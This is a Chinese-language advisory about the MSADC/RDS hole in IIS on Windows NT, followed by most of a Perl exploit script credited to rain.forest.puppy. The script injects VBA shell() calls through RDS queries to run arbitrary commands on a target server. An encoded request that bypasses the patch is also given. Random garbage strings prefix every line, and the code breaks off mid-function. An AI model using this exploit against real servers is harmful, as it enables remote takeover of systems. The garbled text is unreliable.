IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
`.F+T)G ?7CHHk 涉及程序:
sksop4gu5 Microsoft NT server
2=p"%YSn >HlQ+bl$xw 描述:
[tY+P7j9) 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
^tY$pPA Isna
KcLM 详细:
cAAyyc"yJ 如果你没有时间读详细内容的话,就删除:
KXTx{R c:\Program Files\Common Files\System\Msadc\msadcs.dll
At=l>
有关的安全问题就没有了。
\NI0rL jYi{[** 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
GtNGrJU sM8 AORd 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
$bv l.c 关于利用ODBC远程漏洞的描述,请参看:
TSCc=c 4hh=z>$|l) http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm L.M|o Jb4A!g5C 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
,H+LE$= http://www.microsoft.com/security/bulletins/MS99-025faq.asp +HxL>\ %/(>>*}Kw| 这里不再论述。
WCPl}7> zu-1|XX 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
Rf.b_Y@O Jxy94y* /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
G B&+EZ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
61^5QHur 6bW:&IPQ; ]A2l%V_7 #将下面这段保存为txt文件,然后: "perl -x 文件名"
`!$I6KxT u/2!v( #!perl
x3>PM]r(V #
wWNHZv& # MSADC/RDS 'usage' (aka exploit) script
]{<`W5b/ #
T)NnWEB # by rain.forest.puppy
}7H8Y}m #
1TvR-.e # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
\%! ~pfM I # beta test and find errors!
@Ja8~5 : Ka"Z,\T
use Socket; use Getopt::Std;
'~ {x n getopts("e:vd:h:XR", \%args);
W l+[{# "7k
82dw print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
G#pRBA^ Z $? Ql@M if (!defined $args{h} && !defined $args{R}) {
a|x1aN0 print qq~
8C{mV^cn~ Usage: msadc.pl -h <host> { -d <delay> -X -v }
x1}7c9nK -h <host> = host you want to scan (ip or domain)
:OVre*j -d <seconds> = delay between calls, default 1 second
]OZk+DU: -X = dump Index Server path table, if available
BWct0= -v = verbose
c_fx,;
; -e = external dictionary file for step 5
ZO2$Aan z3 lZ3 Or a -R will resume a command session
bJo)rM:m KKd Sh1 ~; exit;}
Qv%"iSe~J aF9p%HPDw $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
]mN'Qoc if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
k(oHmw if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
wW~y?A"{2 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
]Fc<%wzp $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
"Z&-:1tP{9 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
:[1^IH(sb ' {L5 3cH= if (!defined $args{R}){ $ret = &has_msadc;
n4cM
/unU die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
w~NQAHAvo 7|IOn5 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
)")_aA . "cmd /c ";
Ny@CP} $in=<STDIN>; chomp $in;
Dk!;s8}*c $command="cmd /c " . $in ;
}dl[~iKW hE41$9?TJ if (defined $args{R}) {&load; exit;}
bqHR~4 #IR W)dQyZ>J print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
I+,~pmn: &try_btcustmr;
OS k+l lLO|, print "\nStep 2: Trying to make our own DSN...";
(j^Qa~{mG4 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
>~-8RM h01 HX print "\nStep 3: Trying known DSNs...";
U{vt9t &known_dsn;
,GB~Cmc1<Q @ 5!Mr5; print "\nStep 4: Trying known .mdbs...";
#V[j Q Vl &known_mdb;
\Kp!G1?_AY 3BuG_ild if (defined $args{e}){
b'9\j.By print "\nStep 5: Trying dictionary of DSN names...";
eSNwAExm &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
'D ,efTq M ABrf`<b print "Sorry Charley...maybe next time?\n";
[?3]+xr: exit;
G%{J.J41F "P)f,n ##############################################################################
<j}n/G] D#ZzhHHP sub sendraw { # ripped and modded from whisker
e6E{l sleep($delay); # it's a DoS on the server! At least on mine...
Zd~'%(q my ($pstr)=@_;
#wXq'yi socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
!~+"TI}_%w die("Socket problems\n");
B$R"Ntp if(connect(S,pack "SnA4x8",2,80,$target)){
j_::#?o!/ select(S); $|=1;
&cnciEw1 print $pstr; my @in=<S>;
(twwDI select(STDOUT); close(S);
F*`*5:7 return @in;
X$aN:!1 } else { die("Can't connect...\n"); }}
KIyhvY~ ~#z8Q{!O ##############################################################################
tPv3nh =L,s6J8_' sub make_header { # make the HTTP request
[1+ o my $msadc=<<EOT
F1m 1% POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
*C/bf)w User-Agent: ACTIVEDATA
6n[O8^ Host: $ip
nitKX.t8 Content-Length: $clen
:{:R5d(_I Connection: Keep-Alive
Un[olp m2%OX"# e ADCClientVersion:01.06
DRp h?V\ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
#~3$4j2U(y DGR[2C)@N --!ADM!ROX!YOUR!WORLD!
#b u]@/ Content-Type: application/x-varg
1~J:hjKQ Content-Length: $reqlen
UH8q:jOi I},]Y~Y3 EOT
BHmmvbM#Qm ; $msadc=~s/\n/\r\n/g;
DC9\Sp? return $msadc;}
/wt!c?wR z|KQiLza ##############################################################################
U*P&O+(1' $&fP%p sub make_req { # make the RDS request
|hx"yy'ux my ($switch, $p1, $p2)=@_;
ivgV5)". my $req=""; my $t1, $t2, $query, $dsn;
b-)m'B}` HPGIz!o if ($switch==1){ # this is the btcustmr.mdb query
\`ya08DP( $query="Select * from Customers where City=" . make_shell();
s5`CV$bz $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
BM~>=emc $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
XZh1/b^DMN V-1H(wRu elsif ($switch==2){ # this is general make table query
$-J0ou8~ $query="create table AZZ (B int, C varchar(10))";
71S~*"O0f $dsn="$p1";}
|:H
9#= L=7Y~aL= elsif ($switch==3){ # this is general exploit table query
sJI"
m'r=Z $query="select * from AZZ where C=" . make_shell();
AVn?86ri $dsn="$p1";}
[9<c;&$LU 5L?_AUL elsif ($switch==4){ # attempt to hork file info from index server
+'-i (]@!' $query="select path from scope()";
`G@(Z:]f,t $dsn="Provider=MSIDXS;";}
2|6E{o Kia34 ~W elsif ($switch==5){ # bad query
=c-Y > $query="select";
!~j-5+DI $dsn="$p1";}
Z2t'?N|_ %@,%A_So k $t1= make_unicode($query);
k<Y}BvAYB $t2= make_unicode($dsn);
' ?4\ $req = "\x02\x00\x03\x00";
=qJlSb $req.= "\x08\x00" . pack ("S1", length($t1));
Qhc>,v) $req.= "\x00\x00" . $t1 ;
*GZ7S
m $req.= "\x08\x00" . pack ("S1", length($t2));
De<kkR{4 $req.= "\x00\x00" . $t2 ;
s)A=hB-V $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
6L/` return $req;}
RJ+["[k >;sz(F3) ##############################################################################
0Tv0:c>8;( FjU
-t/ sub make_shell { # this makes the shell() statement
Fkvf[!Ci return "'|shell(\"$command\")|'";}
^~7/hm: -d*zgP ##############################################################################
2ophh/] %a=^T?8 sub make_unicode { # quick little function to convert to unicode
ev4f9Fhu my ($in)=@_; my $out;
XU*4MU^' for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Y& p
~8 return $out;}
kSfNu{YS W#bOx0 ##############################################################################
?*/1J~<(@ m\.(- sub rdo_success { # checks for RDO return success (this is kludge)
)*`cJ_t my (@in) = @_; my $base=content_start(@in);
1$S`>M%a if($in[$base]=~/multipart\/mixed/){
bSkr:|A7 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
PNp-/1Cx return 0;}
jU}iQM >Tp`Kri ##############################################################################
GlOSCJZ DX(!G a sub make_dsn { # this makes a DSN for us
T1U8ZEK<iu my @drives=("c","d","e","f");
oXgi#(y print "\nMaking DSN: ";
ukDaX foreach $drive (@drives) {
Vpe\Okt: print "$drive: ";
,Zva^5 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
l
Zz%W8" "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
c>b{/92% . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
9YvK<i&I $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
d",VOhW7)S return 0 if $2 eq "404"; # not found/doesn't exist
nc9sfH3 if($2 eq "200") {
V'8Rz#Gc5 foreach $line (@results) {
J,D^fVIw return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
[;pL15-}4 } return 0;}
)ZMR4U$+v aXgngwq ##############################################################################
fo_*Uva_ ^0g!,L sub verify_exists {
U.pGp]\Q)G my ($page)=@_;
#By~gcN my @results=sendraw("GET $page HTTP/1.0\n\n");
ho%G return $results[0];}
Lk]W? 2v`Q;%7O ##############################################################################
` 1vDp. "Ky&x$dje sub try_btcustmr {
5BS !6o;P' my @drives=("c","d","e","f");
Sv\399( my @dirs=("winnt","winnt35","winnt351","win","windows");
-u^f;4|u 4Cp)!Bq?/ foreach $dir (@dirs) {
"V<WC" print "$dir -> "; # fun status so you can see progress
3a0% J' foreach $drive (@drives) {
T-y5U}, print "$drive: "; # ditto
.\7AJB\l $reqlen=length( make_req(1,$drive,$dir) ) - 28;
}$` PZUw> $reqlenlen=length( "$reqlen" );
Xu7lV $clen= 206 + $reqlenlen + $reqlen;
nk"nSXm3SR 'x u!t'l& my @results=sendraw(make_header() . make_req(1,$drive,$dir));
3
p!t_y|SX if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
I_is3y0 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
gTk*v0WBm L}VQc9"gc ##############################################################################
Qov*xRO6 """pe+Y sub odbc_error {
h$#|s/ my (@in)=@_; my $base;
NEt_UcC my $base = content_start(@in);
6E$ET5p&